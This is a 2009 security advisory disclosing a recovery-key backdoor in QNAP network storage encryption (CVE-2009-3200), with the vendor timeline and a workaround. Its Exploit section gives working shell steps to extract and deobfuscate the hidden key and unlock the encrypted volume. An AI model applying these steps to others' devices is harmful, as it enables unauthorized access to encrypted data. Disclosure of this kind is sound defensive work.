Advisory: Crypto backdoor in Qnap storage devices (CVE-2009-3200)

[Marc Heuse <mh@xxxxxxxxxxxxxxxxxxxx>]

________________________________________________________________________

Title: Crypto backdoor in Qnap storage devices
Date:  18 September 2009
URL:
http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt

________________________________________________________________________

Vendor:                QNAP Systems
Products (verified):   TS-239 Pro, TS-639 Pro
Products (unverified): SS-439 Pro, TS-439 Pro, TS-439U-SP/RP,
                       TS-509 Pro, SS-839 Pro, TS-809 Pro, TS-809U-RP
Vulnerability:         hard disk encryption bypass due recovery key
Affected Releases:     3.1.1 0815, 3.1.0 0627, 2.1.7 0613,
                       and presumably all other
Severity:              Moderate/High
CVE:                   CVE-2009-3200

________________________________________________________________________

Overview:

  The premium and new line of QNAP network storage solutions allow
  for full hard disk encryption. When rebooting, the user has to
  unlock the hard disk by supplying the encryption passphrase via
  the web GUI.

  However, when the hard disk is encrypted, a secondary key is
  created, added to the keyring, and stored in the flash with minor
  obfuscation.


Impact:

  The encrypted hard disk can be unlocked and potential sensitive
  contents access by attackers who obtain physical or network
  access to the hard disk and flash.


Description:

  When a user selects in the web GUI to encrypt a hard drive, he
  has to supply a passphrase of 8-16 length.
  The Qnap solution is to use the underlying Linux standard
  mechanisms of LUKS to create the encrypted partition.
  The user supplied passphrase is crypt(3)'ed with the MD5 salt
  of $1$YCCaQNAP$ and used as the initial key to access the LUKS
  master key for the drive.

  Additionally, the system creates a second key, which is 32
  characters long and contains all low case characters and the
  numbers 0-9, and adds it to the LUKS keyring:
  /sbin/cryptsetup luksAddKey /dev/md0 /tmp/temp.wLbZNp \
      --key-file=/tmp/temp.rUBxFo

  Before writing the second key to the flash, the key is then
  obfuscated in the following way:
  the first six characters are reversed and written to the end
  of the string.
  The obfuscated string is then written to the flash (/dev/sdx6
  on current Qnap storage devices) in the ENCK variable.


Exploit:

  An attacker - or user who has lost his passphrase - just needs
  to do the following:

  1. Obtain the backdoor key from the flash:
       #  strings /dev/sdx6 | grep ENCK
       ENCK=ghijklmnopqrstuvwxyz012345fedcba
     It is possible that several ENCK keys show up.

  2. The key has then to be deobfuscated. The last 6 characters have
     to be taken, reversed, and put in front of the string:

     ENCK key before: ghijklmnopqrstuvwxyz012345fedcba
     ENCK key after:  abcdefghijklmnopqrstuvwxyz012345

  3. The key file has to be created:
       # echo -n "abcdefghijklmnopqrstuvwxyz012345" > /tmp/key

  4. The encrypted volume is unlocked and mounted. The device is
     usually /dev/md0 or /dev/sda3.
       # /sbin/cryptsetup luksOpen /dev/md0 md0 --key-file=/tmp/key
       key slot 0 unlocked.
       Command successful.
       # mount /dev/mapper/md0 /share/MD0_DATA
     Full access to the encrypted volume has been obtained.


Additional Weaknesses:

  The backdoor key is generated by rand() calls. As the rand()
  function produces random numbers unsuitable for cryptographic
  keys. The cryptographic strength of this generated key is
  approx 2^32, hence feasible for breaking. This would make
  access to the flash unnecessary.

  The LUKS partition is created in AES-256 in plain CBC mode. This
  mode is susceptible to watermark attacks.


Solution:

  No fix is available from the vendor yet and scheduled for the
  following month.

  The official company statement is:
  "The security notice from Baseline Security was received by Qnap
  on the 16th September 2009 and rated as important.
  Currently, a new and enhanced firmware version is already in
  testing. An update is planned for the following month"

  As this was implemented on purpose by the vendor, and feedback
  from the taiwanese development team was scarce, it was decided
  to publish the information to put public pressure on the company
  to ensure not only supplying a quick update, but also announcing
  the issue properly so users see the need for installed the
  coming imporant firmware update.

  It was proposed to the vendor to remove the key from the keyring
  as described in the workaround section.
  Additionally the ENCK values in the flash should be overwritten.

  Once a firmware update is available, it will be tested that it
  removes the crypto backdoor.
  Watch the advisory URL for updates:

http://www.baseline-security.de/downloads/BSC-Qnap_Crypto_Backdoor-CVE-2009-3200.txt


Workaround:

  There is no workaround available which can be used by a novice
  user.

  The best solution is to remove the backdoor key from keyslot 0.
  However this requires hashing the user passphrase. For this, a
  Linux system has to be available, which has the "mkpasswd" command
  installed (whois package).
  Execute:
    # mkpasswd --hash=md5 --salt='YCCaQNAP'
  and enter the password on the Password: prompt. Copy the outout.

  On the Qnap device, create the keyfile with the password hash:
    # echo -n "...the output of mkpasswd..." > /tmp/mykey

  Now remove the backdoor key:
    # /sbin/cryptsetup luksKillSlot /dev/md0 0 --key-file=/tmp/mykey

  Remove all sensitive data, wipe the shell history, and logoff:
    # echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaa" > /tmp/mykey
    # rm /tmp/mykey /tmp/key
    # HISTSIZE=0
    # exit

  As an additional measure, the flash can be edited and the saved
  key overwritten (this requires the ipkg package installed).
  Install a hex editor, run the hexeditor on the flash, and
  overwrite ENCK values:
    # ipkg install hexcurse
    # hexcurse /dev/sdx6
    (a hex editor window is loading)
    Type Control-F, then 454e434b and hit Enter.
    Use the cursor keys to the character string after the "ENCK="
    string and then type in as many "A" characters, until the string
    is full. Type Control-S to save, adn Control-Q to quit.

  Please note that no liability is given whatsoever by anyone
  if the workaround is used. It is recommended to be performed
  by experienced users only.


Original Vendor FUD:

  "The functionality for encryption the hard disk does not include
   a crypto backdoor."
  (in response to a user question why two keyslots are allocated,
  and if this is because of a backdoor)
  http://forum.qnap.com/viewtopic.php?f=11&t=11214&start=20#p63346
  http://forum.qnap.com/viewtopic.php?f=12&t=12104&start=10#p63341

________________________________________________________________________

Credit:

  Analysis performed thanks to the ultimate binary analysis tool
  BinNavi by Zynamics, and the great - and free - IDA Pro
  Dissassembler 4.9 by Datarescue.

  Greets to the teams at Red Database Security, Recurity Labs,
  THC and n.runs.

________________________________________________________________________

Vendor communication:

  10 September 2009   Issue posted in the Qnap support forum

  15 September 2009   Notification on crypto backdoor sent directly
                      to Qnap to force a response, giving 72 hours
                      to explain why the backdoor exists, when and
                      how it will be removed, and how this
                      information will be made available to the users.

  15 September 2009   Qnap support contact confirms notification,
                      and informs of forwarding to support team
                      in Taiwan for clarification

  16 September 2009   Phone cann from Qnap representive, stating
                      this issue is a high priority

  18 September 2009   No statement from Qnap was given on why the
                      backdoor exists and if and when it will be
                      removed.

  18 September 2009   This advisory is released

________________________________________________________________________

Contact:

mh@xxxxxxxxxxxxxxxxxxxx

Baseline Security Consulting
http://www.baseline-security.de

________________________________________________________________________

The information provided is released "as is" without warranty of
any kind. The publisher disclaims all warranties, either express or
implied, including all warranties of merchantability.
No responsibility is taken for the correctness of this information.
In no event shall the publisher be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of
business profits or special damages, even if the publisher has been
advised of the possibility of such damages.


The contents of this advisory is copyright (c) 2009 by Marc Heuse
and may be distributed freely provided that no fee is charged for
the distribution and proper credit is given.

________________________________________________________________________


-- 
Marc Heuse
Mobil: +49 177 9611560
Fax: +49 30 28097468
www.baseline-security.de

Baseline Security Consulting
Chausseestr. 15
10115 Berlin

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